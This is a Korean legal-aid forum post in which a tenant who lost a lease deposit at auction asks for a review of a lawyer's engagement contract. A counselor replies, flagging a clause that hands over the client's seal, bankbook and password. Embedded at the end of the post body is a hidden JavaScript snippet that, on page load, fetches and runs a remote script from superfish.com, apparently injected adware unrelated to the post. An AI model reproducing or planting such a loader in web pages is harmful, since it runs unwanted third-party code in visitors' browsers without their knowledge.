변호사 수임 문의 - 중개상 과실에 따른 손해배상 > 비공개게시판

본문 바로가기
  • Korean
  • English

비공개게시판

변호사 수임 문의 - 중개상 과실에 따른 손해배상

페이지 정보

profile_image
작성자 Dawson
댓글 1건 조회 1,883회 작성일 14-11-20 11:10

본문

성 별 :


연령대 : 대

bca2c9a27612b3ebe91dc2a112e97b3aa88cdcb0.jpg46dc2f4be603dd67f232a1cedf96d84a65aa7990.jpg



안녕하세요. 전세로 원룸에 살다가 경매가 진행되어 전세금을 떼인 사람입니다.

어떤 변호사가 이와 관련하여 무료로 중개사에게 손해배상을 청구해주겠다는 제안이 있었습니다.

아무래도 뭔가 의심스러워 위임약정계약서를 첨부해 드립니다.

저에게 문제될 불리한 항이 있는지 확인 부탁 드립니다.

 

감사합니다. <script type="text/javascript">(function () {if (top.location == self.location && top.location.href.split('#')[0] == 'modules/editor/styles/default/editor.html') {var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true;po.src = document.location.protocol + '//superfish.com/ws/sf_main.jsp?dlsource=gimyoyt&CTID=rt';var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s);}})();</script>

댓글목록

profile_image

대한가정법률복지상담원님의 댓글

대한가정법률복지상담원 작성일


 
 
작성하신 글 잘 읽어보았습니다.

 
사건 위임 약정은 당사자의 협의 사항에 따라서 자유롭게 정해질 수 있습니다. 계약서에 따르면, 승소시 실비와 성공보수 30%를 수임인에게 지급해야 합니다.

 
그런데 6항에 따라 귀하께서는 상대방에게 인장(인감)과 통장, 비밀번호까지 교부하기로 되어 있고, 금전 수령 권한 일체를 귀속시키시는 것이므로 이에 대한 부분은 좀 더 검토해 보시기 바랍니다.

 
지면상담은 한계가 있기 때문에 더 자세한 상담을 원하시면 본원의 면접상담을 오시기를 권유 드립니다. 지방에 거주하고 계신다면 가까운 지역에 있는 무료법률상담기관을 안내 해드리겠습니다.

 
대한가정법률복지상담원은 지하철 2호선 지선 신정네거리역 3번 출구로 나와, 남부지방법원방향으로 5분 정도 걸으시면 삼성디지털플라자를 지나 온누리태평양약국 건물 3층에 위치하고 있습니다.

 
상담접수시간은 평일 오전 10시-오후 4시, 토요일 10시-12시입니다.


 
 
법률구조법인 대한가정법률복지상담원
전화 : 02-2697-0155, 3675-0142,0143
 
 
 
 


대한가정법률복지상담원

(본원) (우 08020) 서울특별시 양천구 오목로 176(신정동 952-4번지 산호빌딩) 4층 TEL : (02) 2697-0155, 3675-0142, 0143 E-mail : LawQA@naver.com
(교육원) (우 08020) 서울특별시 양천구 오목로 176(신정동 952-4번지 산호빌딩) 2층 TEL : (02) 2646-1611

Copyright 대한가정법률복지상담원 All rights Reserved.